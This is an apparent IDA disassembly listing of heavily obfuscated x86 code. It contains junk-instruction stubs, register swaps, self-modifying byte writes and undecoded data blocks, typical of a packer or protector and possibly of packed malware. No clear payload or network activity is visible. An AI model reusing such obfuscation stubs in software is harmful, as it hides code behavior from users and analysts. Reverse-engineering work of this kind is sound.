		jmp	loc_43CED5
; ---------------------------------------------------------------------------


loc_43BA60:				; CODE XREF: _5qvhby1c:loc_43C4E8j
		sub	al, 99h
		push	0A1B7731Fh
		pop	edx
		rol	edx, 5
		add	edx, 0E36BF2D6h
		add	edx, ebp
		call	sub_43B655
; ---------------------------------------------------------------------------
		dd 12E90000h, 81FFFFE8h, 876651E0h, 0C0F709h, 0E9000200h
		dd 0FFFFEAAEh, 0E8D58B00h, 0F06h, 8801C600h, 8B241487h
		dd 0D0035ACAh, 0FFE37DE9h, 8807C6FFh, 24C1815Fh, 3ED20C2h
		dd 1250E9D1h, 0C3000000h, 99E90000h, 0F000015h,	82880h
		dd 0B9106800h, 3AE90043h, 0C3FFFFFEh, 0F6F3E900h, 0FEBBFFFFh
		dd 0E90043AEh, 1CAAh, 81FD3300h, 2F33F2E9h, 1234E99Ch
		dd 0
		dd 0EE56DF68h, 240C87C3h, 8159F18Bh, 1B0BEEC6h,	7FEE81A5h
		dd 0C1BA24ABh, 0E68102C6h, 0ADD313D5h, 0FFE6CDE9h, 870000FFh
		dd 68582404h, 43C669h, 0FFFB85E9h
		db 0FFh, 2 dup(0)
		db 87h			; DATA XREF: sub_43CCA4o
		dd 95B241Ch, 0D7850FC0h, 0F000008h, 0FFE6BC84h,	0FA4CE9FFh
		dd 880FFFFFh, 2086h, 0E781FD2Bh, 0D116B2BCh, 7D7CC781h
		dd 0C703BEF9h, 0FFE75BE8h
		db 0FFh, 2 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_43BB5F	proc near		; CODE XREF: sub_43CEE8j
					; DATA XREF: _5qvhby1c:loc_43CEDEo

; FUNCTION CHUNK AT 0043C290 SIZE 0000000D BYTES

		mov	byte ptr [edi],	8Bh
		xchg	eax, [esp+0]
		mov	edi, eax
		pop	eax
		pop	edi
		jmp	loc_43C290
sub_43BB5F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h
		retn
; ---------------------------------------------------------------------------
		db 2 dup(0), 0E9h
		dd 11E7h
dword_43BB78	dd 0D209108Bh, 0FC7A840Fh, 5251FFFFh, 1487D08Bh, 0FB23E924h
					; DATA XREF: sub_43B7F1+25CEo
		db 2 dup(0FFh),	0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A948


loc_43BB8F:				; CODE XREF: sub_43A948+1705j
		jz	loc_43A7D1
		jmp	loc_43C6B0
; END OF FUNCTION CHUNK	FOR sub_43A948
; ---------------------------------------------------------------------------

locret_43BB9A:				; CODE XREF: _5qvhby1c:0043D0EBj
		retn
; ---------------------------------------------------------------------------
		align 4
		jmp	nullsub_237
; ---------------------------------------------------------------------------
		add	eax, 991BDF02h
		sub	eax, 3632916Ah
		push	ebx
		push	5B0589F9h
		jmp	loc_43DB07
; ---------------------------------------------------------------------------
		dd 0C30000h, 241C8700h,	43DF9668h, 0E1F6E900h, 0FFFFh
		dd 0D768C181h, 0E981B744h, 8C84A40Eh, 0FFF0E0E8h, 0FBE900FFh
		dd 0FFFFFBh, 0CCA9EB68h, 0C2C15AE7h, 0BCCA8110h, 0C1520B8Fh
		dd 0C28102C2h, 1093E05Ah, 2414879Dh, 0C51E9h
		db 2 dup(0)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_231. PRESS KEYPAD	"+" TO EXPAND]
		align 4


loc_43BC08:				; CODE XREF: _5qvhby1c:0043DAB8j
		jmp	loc_43CFCD
; ---------------------------------------------------------------------------
		jmp	loc_43D6A1
; ---------------------------------------------------------------------------

locret_43BC12:				; CODE XREF: _5qvhby1c:0043B60Bj
		retn
; ---------------------------------------------------------------------------
		align 4
		dd 58240487h, 0F87D83h,	0E38E850Fh, 2EE9FFFFh, 0FFFFF5h
; ---------------------------------------------------------------------------

locret_43BC28:				; CODE XREF: _5qvhby1c:0043C998j
		retn
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_43BC2B:				; CODE XREF: _5qvhby1c:loc_43DAC3j
		jmp	locret_43D4C4
; ---------------------------------------------------------------------------
dword_43BC30	dd 0E55F0B68h, 0E7815F52h, 27536708h, 0F03C7C1h, 0FFEDF583h
					; DATA XREF: _5qvhby1c:0043C993o
		dd 92E900FFh, 3BFFFFF5h, 0EDE0E9CEh, 0C3FFFFh, 24048700h
		dd 1DD7E9h, 0D680000h, 0E90043DBh, 1E98h, 9D00C600h, 0D0C98158h
		dd 81D7EED2h, 44D566C1h, 0F909E908h, 0FFFFh, 0F0BC2C1h
		dd 0BA183h, 2B000000h, 92C2F7F3h, 0E9A9D723h, 0E33h
		db 0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_224. PRESS KEYPAD	"+" TO EXPAND]
		db 0
; ---------------------------------------------------------------------------


loc_43BC9B:				; CODE XREF: _5qvhby1c:0043B2D2j
		jmp	loc_43BD0E
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------


loc_43BCA1:				; CODE XREF: _5qvhby1c:loc_43B20Bj
		jmp	loc_43D633
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_43AE40


loc_43BCA8:				; CODE XREF: sub_43AE40+11j
		jmp	loc_43ACA9
; END OF FUNCTION CHUNK	FOR sub_43AE40
; ---------------------------------------------------------------------------
		db 2 dup(0), 0BDh
		dd 9AE15AF0h, 0E3E9CA8Bh, 0Ch
		db 0
; ---------------------------------------------------------------------------

locret_43BCBD:				; CODE XREF: _5qvhby1c:0043CFD2j
		retn
; ---------------------------------------------------------------------------
		align 10h
		jmp	loc_43D194
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_43BCC7:				; CODE XREF: _5qvhby1c:loc_43B8F0j
		jz	loc_43D3B3
; ---------------------------------------------------------------------------
		db 2 dup(0), 81h
; ---------------------------------------------------------------------------
		sal	byte ptr [edi+3BF74C9Fh], cl
		cmc
		jmp	loc_43CE4D
; ---------------------------------------------------------------------------


loc_43BCDC:				; CODE XREF: sub_43B7F1:loc_43CBF5p
		xchg	eax, [esp]


loc_43BCDF:				; CODE XREF: _5qvhby1c:loc_43BA53j
		pop	eax
		push	ebx
		mov	ebx, edx
		call	sub_43A382
		add	cl, ch		; CODE XREF: _5qvhby1c:0043DF21j
		sub	al, 0F6h
; ---------------------------------------------------------------------------
		db 2 dup(0FFh),	0
; ---------------------------------------------------------------------------


loc_43BCEF:				; CODE XREF: _5qvhby1c:0043B06Bj
		jz	near ptr dword_43A834+64h


loc_43BCF5:				; CODE XREF: _5qvhby1c:0043D6ABj
		jmp	near ptr dword_43AE90+3Ch
; ---------------------------------------------------------------------------
		dw 0F00h
		dd 4A48Bh, 0FE34BE00h, 0C687EB08h, 0FFF3ABE9h
; ---------------------------------------------------------------------------
		inc	dword ptr [eax]


loc_43BD0E:				; CODE XREF: _5qvhby1c:loc_43BC9Bj
		add	ecx, ebp
		add	ecx, 1ADD3021h
		mov	ecx, [ecx]
		xchg	ecx, [esp]


loc_43BD1B:				; DATA XREF: sub_43B2E6+9o
		pop	ebp
		adc	eax, offset dword_4300C0
		push	dword ptr [ebp-4]
		jmp	near ptr dword_43AB38+22h
; ---------------------------------------------------------------------------
		align 2
		retn
; ---------------------------------------------------------------------------
		align 4


loc_43BD2C:				; CODE XREF: _5qvhby1c:0043D8EAj
		jmp	near ptr dword_43A6A8+51h
; ---------------------------------------------------------------------------
		db    0
		db    0
		db  9Ch	; 
		db  68h	; h
		db  73h	; s
		db 0A3h	; 
		db  1Dh
		db  85h	; 
		db  5Ah	; Z
		db 0E9h	; 
		db  59h	; Y
		db    6
		db    0
		db    0
		db  68h	; h
		db 0B3h	; 
		db  0Ah
		db 0B2h	; 
		db 0C2h	; 
		db 0E8h	; 
		db  6Bh	; k
		db  15h
		db    0
		db    0
		db    0
		db 0E9h	; 
		db 0B1h	; 
		db 0F4h	; 
		db 0FFh
		db 0FFh
		db    0
		db 0
byte_43BD51	db 9Dh,	87h, 4		; DATA XREF: sub_43D51D-540o
		dd 0ED6BE924h, 0FFFFh, 8DE16856h, 0A1E930B8h, 68FFFFF3h
		dd 43B66Bh, 0FFEF79E9h,	810000FFh, 0EB8CE9h, 97F981EAh
		dd 0E93A8DD5h, 0FFFFF673h, 8B0000C3h, 0E77AE812h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

locret_43BD8E:				; CODE XREF: _5qvhby1c:loc_43D411j
		retn
; ---------------------------------------------------------------------------
		jmp	loc_43A69C
; ---------------------------------------------------------------------------
		dd 0FFFB96E9h, 64E900FFh, 0C1FFFFE2h, 6CE905E0h
		db 13h,	2 dup(0)
; ---------------------------------------------------------------------------

locret_43BDA7:				; CODE XREF: _5qvhby1c:loc_43CD50j
		retn
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BEF5


loc_43BDAA:				; CODE XREF: sub_43BEF5+55Ej
		jmp	nullsub_239
; END OF FUNCTION CHUNK	FOR sub_43BEF5
; ---------------------------------------------------------------------------
		align 10h
		db 0
; ---------------------------------------------------------------------------


loc_43BDB1:				; CODE XREF: _5qvhby1c:loc_43C6CBj
		call	sub_43BFFD


loc_43BDB6:				; CODE XREF: _5qvhby1c:0043D69Bj
		jmp	loc_43D57A
; ---------------------------------------------------------------------------
		push	43B611h
		jmp	loc_43C484
; ---------------------------------------------------------------------------
		db 2 dup(0)
byte_43BDC7	db 0Fh			; DATA XREF: _5qvhby1c:loc_43A278o
					; _5qvhby1c:0043D92Cw
dword_43BDC8	dd 0EC781h, 74E85000h, 0FFFFF4h, 0D5AE9h, 0EF130000h, 0A2CE9h
		dd 50000000h, 87C78B50h, 0F4682404h, 5F97A3D0h,	0E91FC7C1h
		dd 0FFFFF2DAh, 94C08100h, 0E8191459h, 1769h, 0E8575E00h
		dd 51Eh, 0C30000h, 0FB2FE900h, 0FFFFh, 5B8703C6h, 85C3815Bh
		dd 81D9E6B5h, 0D8413BEBh, 0E2E5E925h, 2368FFFFh, 0E90043B4h
		dd 0FFFFF816h, 45C3F700h, 0E9B1A3E4h, 0FFFFEFF6h, 56FC458Bh
		dd 80D7D968h, 0CE815E00h, 0F252BB0Ch, 0E338880Fh, 0E999FFFFh
		dd 168Ch, 0D5BA6800h, 4DE90043h, 17h, 6B840F00h, 0E9FFFFDFh
		dd 0FFFFFC07h, 0D7030000h, 0FFDF57E9h
		db 0FFh
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_240. PRESS KEYPAD	"+" TO EXPAND]
		align 4
; START	OF FUNCTION CHUNK FOR sub_43DF7B


loc_43BE84:				; CODE XREF: sub_43DF7B-3F3Aj
		jmp	nullsub_236
; END OF FUNCTION CHUNK	FOR sub_43DF7B
; ---------------------------------------------------------------------------
		db 2 dup(0), 81h
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		stosd
		movsd
		inc	ebx
		lodsb
		jmp	loc_43D728
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------


loc_43BE97:				; CODE XREF: _5qvhby1c:0043B9E2j
		rol	ebx, 11h
		xchg	ebx, [esp]
		pop	ebx
		push	esi
		mov	esi, 43A537h
		jmp	near ptr dword_43A0DC+51h
; ---------------------------------------------------------------------------
		align 2
word_43BEAA	dw 0D568h		; DATA XREF: _5qvhby1c:0043D0E6o
		dd 0E900439Fh, 0FFFFF6CDh, 6C60000h, 68525E8Bh,	8438CCAAh
		dd 72F2815Ah, 0E98B48B9h, 2009h, 6EC46851h, 0D159F832h
		dd 1FF181C1h, 815E73BCh, 9A4E01E9h, 0DC1C116h, 0FFF094E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_43BEE9:				; CODE XREF: _5qvhby1c:loc_43D232j
		add	eax, edi
		pop	edi
		mov	eax, [eax]
		mov	al, [eax]
		jmp	loc_43C4E8

; =============== S U B	R O U T	I N E =======================================



sub_43BEF5	proc near		; CODE XREF: _5qvhby1c:0043A7CCp

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043B066 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043BDAA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043BF9A SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0043C434 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0043D07E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043DD08 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0043DE72 SIZE 0000000F BYTES

		xchg	ebx, [esp+0]
		xchg	edx, [esp+0]
		mov	ebx, edx
		pop	edx
		push	ebx
		push	esi
		mov	esi, offset byte_43CD91
		jmp	loc_43BF9A
sub_43BEF5	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dw 0C700h
		dd 63658B45h, 45C76574h, 5B20648Fh, 0F58B5600h,	0E9243487h
		dd 0FFFFEA02h
		db 0, 0C3h, 0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_223. PRESS KEYPAD	"+" TO EXPAND]
		db 0
; ---------------------------------------------------------------------------


loc_43BF29:				; CODE XREF: _5qvhby1c:00439DEFj
		jmp	locret_43D0F0
; ---------------------------------------------------------------------------
		db 0

; =============== S U B	R O U T	I N E =======================================



sub_43BF2F	proc near		; CODE XREF: _5qvhby1c:loc_43C13Fp
					; _5qvhby1c:0043C14Aj
		xchg	ecx, [esp+0]
		xchg	ebp, [esp+0]
		mov	ecx, ebp
		pop	ebp
		mov	byte ptr [ecx],	87h
		pop	ecx
		jmp	near ptr dword_43A528+1Ch
sub_43BF2F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 2 dup(0), 8Bh
		dd 1972E9CDh, 0C3000000h, 0FFF308E9h, 0E90000FFh, 154Dh
		dd 40E90000h, 0E9FFFFEDh, 1397h, 2B7BFD81h, 20E977D6h
		dd 5, 0EF33E9C3h
		db 2 dup(0FFh),	0
; ---------------------------------------------------------------------------


loc_43BF77:				; CODE XREF: _5qvhby1c:0043ADA3j
		jmp	loc_43DB9B
; ---------------------------------------------------------------------------
		dd 7C60000h, 87685F3Ch,	0E90043BDh, 0FFFFF090h
		db 0
; ---------------------------------------------------------------------------


loc_43BF8D:				; CODE XREF: _5qvhby1c:0043D739j
		call	sub_43D51D
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C14F


loc_43BF93:				; CODE XREF: sub_43C14F-20DFj
		jmp	loc_43A574
; END OF FUNCTION CHUNK	FOR sub_43C14F
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BEF5


loc_43BF9A:				; CODE XREF: sub_43BEF5+10j
		mov	byte ptr [esi],	0FFh
		pop	esi
		push	ebp
		or	ebp, 0A236DAC5h
		jmp	loc_43DE72
; END OF FUNCTION CHUNK	FOR sub_43BEF5
; ---------------------------------------------------------------------------
		dw 0C600h
		dd 4878B07h, 58F88B24h,	0A5DE9h, 840F0000h, 0FFFFECAFh
		dd 3B570000h, 0F0F9E9F7h, 0FFFFh
dword_43BFCC	dd 59C601C6h, 9DB4058Dh		db 43h,	0
word_43BFD6	dw 0C6h			; DATA XREF: _5qvhby1c:00439DB5o
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 68h,	77h, 0C8h
		dd 23E90043h, 9CFFFFF1h, 0FFF048E9h
		db 0FFh
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_239. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		jmp	loc_43D80E
; ---------------------------------------------------------------------------
byte_43BFEF	db 8Bh			; DATA XREF: sub_43BEF5+559o
		dd 0EBAFE8ECh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B655


loc_43BFF6:				; CODE XREF: sub_43B655+11j
		jmp	loc_439E94
; END OF FUNCTION CHUNK	FOR sub_43B655
; ---------------------------------------------------------------------------
		adc	esi, ebp

; =============== S U B	R O U T	I N E =======================================



sub_43BFFD	proc near		; CODE XREF: _5qvhby1c:loc_43BDB1p

; FUNCTION CHUNK AT 0043CA5A SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0043DAE8 SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		xchg	edx, [esp+0]
		mov	edi, edx
		pop	edx
		jmp	loc_43DAE8
sub_43BFFD	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4
		dd 52EC8B00h, 1487D18Bh, 0B1856824h, 0A1E90043h, 81000013h
		dd 17358AFBh, 0E0C3E940h
		db 2 dup(0FFh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_232. PRESS KEYPAD	"+" TO EXPAND]
		align 4

locret_43C02C:				; CODE XREF: _5qvhby1c:loc_43D905j
		retn
; ---------------------------------------------------------------------------
		jmp	loc_43CD72
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_43A948


loc_43C034:				; CODE XREF: sub_43A948:loc_43D9A3j
		mov	edi, eax
		pop	eax
		or	eax, 267C2A3Eh
		add	eax, 99C5555Eh
		mov	eax, [eax]
		or	eax, eax
		jnz	loc_43C6BC
		jmp	loc_43BB8F
; END OF FUNCTION CHUNK	FOR sub_43A948
; ---------------------------------------------------------------------------
		dw 8100h
		dd 910C48C6h, 8ECE8C0h,	0E9000000h, 0BD5h ; CODE XREF: _5qvhby1c:0043DD4Bj
; ---------------------------------------------------------------------------


loc_43C064:				; CODE XREF: _5qvhby1c:0043D7F1j
		jmp	locret_43B241
; ---------------------------------------------------------------------------
		db 53h,	68h, 0DAh
		dd 0E90043BAh, 0FFFFFA5Fh, 243C8700h, 0A66E058Dh, 68510043h
		dd 8A0B53FDh, 1311E9h, 9C000000h, 5F226853h, 0C15B7C53h
		dd 46E91CC3h
		db 0Bh,	2 dup(0)
byte_43C09B	db 0FFh			; DATA XREF: _5qvhby1c:0043B49Ao
		dd 4300C015h
		db 0, 6Ah, 0FFh
byte_43C0A3	db 0E6h			; DATA XREF: _5qvhby1c:0043B451o
; ---------------------------------------------------------------------------
		adc	eax, offset dword_4300C0
		push	43ADE7h
		jmp	loc_43C4FC
; ---------------------------------------------------------------------------
		align 4
		dd 7AE56851h, 8159EC38h, 0A6C21BE1h, 0F1C981D1h, 0E8A5E907h
		dd 0FFFFEDADh, 0C870000h, 8A685924h, 0E90043AAh, 0FFFFE9A0h
; ---------------------------------------------------------------------------


loc_43C0DC:				; CODE XREF: _5qvhby1c:0043C352j
		popf
		push	edi
		pop	ebp


loc_43C0DF:				; CODE XREF: _5qvhby1c:loc_43C343j
		or	esi, 70BAF330h
		jmp	near ptr word_439DC6+1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DC52


loc_43C0EA:				; CODE XREF: sub_43DC52+Cj
		pop	edx
		and	edx, 6B7B237h
		test	edx, 8
		jmp	near ptr dword_439DF4+65h
; END OF FUNCTION CHUNK	FOR sub_43DC52
; ---------------------------------------------------------------------------
		db    0
		db    0
		db 0C3h	; 
		db    0
		db 0E9h	; 
		db 0BDh	; 
		db    6
		db    0
		db    0
		db    0
		db  68h	; h
		db  6Ah	; j
		db  11h
		db  22h	; "
		db 0C3h	; 
		db  87h	; 
		db  34h	; 4
		db  24h	; $
		db  8Bh	; 
		db 0CEh	; 
		db  5Eh	; ^
		db 0C1h	; 
		db 0C1h	; 
		db  13h
		db  81h	; 
		db 0F1h	; 
		db  39h	; 9
		db 0F0h	; 
		db  76h	; v
		db  46h	; F
		db  81h	; 
		db 0C1h	; 
		db 0A1h	; 
		db  70h	; p
		db  71h	; q
		db 0E5h	; 
		db 0E9h	; 
		db  65h	; e
		db  1Eh
		db    0
		db 3 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B265


loc_43C127:				; CODE XREF: sub_43B265:loc_43CC19j
		push	offset byte_43D3CD
		jmp	nullsub_222
; END OF FUNCTION CHUNK	FOR sub_43B265
; ---------------------------------------------------------------------------
		align 2
		sub	edi, 595D5BDFh
		jmp	loc_43D68C
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_43C13F:				; CODE XREF: _5qvhby1c:0043DA91j
		call	sub_43BF2F
		add	cl, al
		retf
; ---------------------------------------------------------------------------
		db 0Fh
; ---------------------------------------------------------------------------
		add	ebp, ebx
		jmp	sub_43BF2F

; =============== S U B	R O U T	I N E =======================================



sub_43C14F	proc far		; CODE XREF: _5qvhby1c:0043D3B9p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 00439F05 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0043A066 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0043A253 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0043A574 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 0043B8B1 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0043BF93 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043C28B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043D7C4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043DE9B SIZE 00000008 BYTES

		xchg	eax, [esp+0]
		pop	eax
		add	eax, ecx
		xchg	esi, [esp-4+arg_0]
		mov	ecx, esi
		pop	esi


loc_43C15B:				; DATA XREF: sub_43A7DE-7E6o
		xchg	eax, [esp-8+arg_4]
		jmp	loc_43B8B1
sub_43C14F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A156


loc_43C163:				; CODE XREF: sub_43A156+15j
		xchg	ebx, [esp-4+arg_0]
		pop	ebx
		add	edx, 8874782h
		xchg	edx, [esp-8+arg_4]
		jmp	nullsub_237
; END OF FUNCTION CHUNK	FOR sub_43A156
; ---------------------------------------------------------------------------
		db 2 dup(0), 8Dh
		dd 43A27805h, 12800F00h, 0E8FFFFE6h, 0FFFFF74Bh, 5A241487h
		dd 0B593C681h, 34878547h, 0E8CBE924h, 0FFFFh, 2916E181h
		dd 0C1C1475Ch, 0CC18104h, 87BB400Fh, 4C68240Ch,	0E90043A8h
		dd 0FFFFEFBFh, 68AE5800h, 260FE9B1h, 8B241487h,	0E0815AC2h
		dd 0B8240402h, 5BE9h, 988F0F00h, 87000018h, 0C65A2414h
		dd 7E89C01h, 0E9FFFFF3h, 9B7h, 0F3F5E9C3h, 0E900FFFFh
		dd 0FFFFF1E2h, 18C8C100h, 0E20BE99Ch, 8700FFFFh, 7468242Ch
		dd 596EC5D9h, 0E918C1C1h, 0FFFFFF8Ch, 0CB810000h, 0CC35CA4h
		dd 0FFFDDEE9h
; ---------------------------------------------------------------------------
		inc	dword ptr [eax]
; START	OF FUNCTION CHUNK FOR sub_43A382


loc_43C21E:				; CODE XREF: sub_43A382+2485j
		jge	loc_43DC80
; END OF FUNCTION CHUNK	FOR sub_43A382
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_43C226:				; CODE XREF: _5qvhby1c:0043D20Fj
		jmp	loc_43D9DC
; ---------------------------------------------------------------------------
		align 4
		jmp	loc_43C273
; ---------------------------------------------------------------------------
		align 2
		dw 0C0F7h
		dd 84B472A4h, 0FFF2D7E9h, 0C30000FFh, 7D830000h, 8D0F00F8h
		dd 1C0Eh, 0FFFDDCE9h, 0C300FFh,	0CF5E6857h, 0B7E90043h
		db 14h,	2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B265


loc_43C25F:				; CODE XREF: sub_43B265:loc_43CBA1j
		add	esi, 2C842861h
		add	eax, esi
		pop	esi
		push	edi
		mov	edi, offset dword_43DE90
		jmp	loc_43CC19
; END OF FUNCTION CHUNK	FOR sub_43B265
; ---------------------------------------------------------------------------


loc_43C273:				; CODE XREF: _5qvhby1c:0043C22Cj
		rol	eax, 1Fh
		xor	eax, 0A74E6A4Dh
		push	ebx
		mov	ebx, offset byte_43C675
		jmp	near ptr dword_43A834+1
; ---------------------------------------------------------------------------
		align 4
		db 0
; ---------------------------------------------------------------------------

locret_43C289:				; CODE XREF: _5qvhby1c:loc_43D0F3j
					; DATA XREF: _5qvhby1c:0043D925w
		retn
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C14F


loc_43C28B:				; CODE XREF: sub_43C14F-88Aj
		jmp	loc_43A066
; END OF FUNCTION CHUNK	FOR sub_43C14F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BB5F


loc_43C290:				; CODE XREF: sub_43BB5F+Aj
		add	esi, 0E6371C55h
		add	esi, ebp
		call	sub_43AE40
; END OF FUNCTION CHUNK	FOR sub_43BB5F
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_43C29F:				; CODE XREF: _5qvhby1c:0043C98Aj
		jmp	loc_43AD8F
; ---------------------------------------------------------------------------


loc_43C2A4:				; CODE XREF: _5qvhby1c:0043D1B0j
		and	ebx, 0EB238054h
		xor	ebx, 0EA238054h
		test	eax, ebx
		pop	ebx
		jmp	near ptr dword_43B39C+0Dh
; ---------------------------------------------------------------------------
		dd 0C8810000h, 1054763Dh, 0DDBCC081h, 0D003AA67h, 0D87E958h
		dd 0F7000000h, 2ACE83C1h, 0E4C7E990h, 0FFFFh, 0F6F04DFFh
		dd 7D83FC45h, 8D0F00F0h, 4CAh, 0FFEF98E9h, 13850FFFh, 68FFFFECh
		dd 0FA056317h, 0FFEFAAE9h, 0BD860FFFh, 58000003h, 0FFFDC1E9h
		dd 0AD3768FFh, 68E90043h
		db 0EEh, 2 dup(0FFh)

; =============== S U B	R O U T	I N E =======================================



sub_43C317	proc near		; CODE XREF: sub_43B7FC+1687p
					; _5qvhby1c:0043D42Bj

; FUNCTION CHUNK AT 0043DB01 SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi
		call	sub_43DFAB
		push	offset loc_43D910
		jmp	loc_43DB01
sub_43C317	endp

; ---------------------------------------------------------------------------
		dw 3C87h
		dd 0F4685F24h, 5FF44570h, 8114C7C1h, 0B73E30EFh, 0DB87E912h
		db 2 dup(0FFh),	0
; ---------------------------------------------------------------------------


loc_43C343:				; CODE XREF: _5qvhby1c:0043A516j
		jz	loc_43C0DF
		add	[ebx], bl
		rep xor	edx, 10E05651h
		jmp	loc_43C0DC
; ---------------------------------------------------------------------------
		align 4
		db 0
; ---------------------------------------------------------------------------

locret_43C359:				; CODE XREF: _5qvhby1c:0043CEE3j
		retn
; ---------------------------------------------------------------------------
		jmp	locret_43A268
; ---------------------------------------------------------------------------
		db 68h
		dd offset dword_43D540
		dd 0FFE7D0E9h, 0E9EF85FFh, 9F5h, 0FA810000h, 0A5E48675h
		dd 0FFDF8DE9h
		db 0FFh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A713


loc_43C37D:				; CODE XREF: sub_43A713+106Ej
		push	offset byte_43DC8B
		jmp	nullsub_235
; END OF FUNCTION CHUNK	FOR sub_43A713
; ---------------------------------------------------------------------------
		align 4
		dd 24048700h, 0C015FF58h, 0E8004300h, 0FFFFEF1Dh, 0FFF64CE9h
		dd 2BD6F7FFh, 0FC0F7D0h, 0E9304F1Ch, 0B61h, 59240C87h
		dd 6F54C781h, 0BAE83605h, 0E9FFFFDDh, 6F8h, 30860F00h
		dd 0E9000003h, 0FFFFE57Ch, 241C8700h, 74689C53h, 5B889248h
		dd 0FFF267E9h
		db 0FFh, 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D51D


loc_43C3DF:				; CODE XREF: sub_43D51D:loc_43D5B3j
		pop	edi
		add	edx, eax
		rol	edx, 3


loc_43C3E5:				; DATA XREF: _5qvhby1c:0043D734o
		xor	edx, eax
		dec	ecx
		jnz	loc_43AA1F
		call	sub_43C526
		mov	byte ptr [edi],	9Ch
		xchg	ebx, [esp-4+arg_0]
		mov	edi, ebx
		pop	ebx
		pop	eax
		sub	eax, 270EC8D3h
		jmp	loc_43C56D
; END OF FUNCTION CHUNK	FOR sub_43D51D
; ---------------------------------------------------------------------------
		dd 0F9E1E900h, 0E9C3FFFFh, 0FFFFDFA4h, 0FFDD59E9h
; ---------------------------------------------------------------------------
		inc	dword ptr [eax]
; START	OF FUNCTION CHUNK FOR sub_43B8D3


loc_43C41A:				; CODE XREF: sub_43B8D3:loc_43CE38j
		push	offset dword_43DA2C
		jmp	nullsub_233
; END OF FUNCTION CHUNK	FOR sub_43B8D3
; ---------------------------------------------------------------------------
		xchg	edx, eax
		xchg	edi, [esp]
		pop	edi
		xchg	ebp, [esp]
		mov	ecx, ebp
		jmp	loc_43C514
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BEF5


loc_43C434:				; CODE XREF: sub_43BEF5:loc_43D07Ej
		add	ebx, 712A9D04h
		xor	ebx, 41F62AFEh
		xchg	ebx, [esp+8+var_8]
		call	near ptr dword_43A3DC+16h
		push	ebx
		mov	ebx, ebp
		xchg	ebx, [esp+0Ch+var_C]
		push	offset byte_43BFEF
		jmp	loc_43BDAA
; END OF FUNCTION CHUNK	FOR sub_43BEF5
; ---------------------------------------------------------------------------
		dd 0EC48850Fh, 0A4E9FFFFh, 0FFFFEFh, 3DC2819Ch,	8794E0C3h
		dd 0E9D91BEBh, 0FFFFEC30h, 24048700h, 87DA8B53h, 7AE8241Ch
		dd 0FFFFE1h
; ---------------------------------------------------------------------------


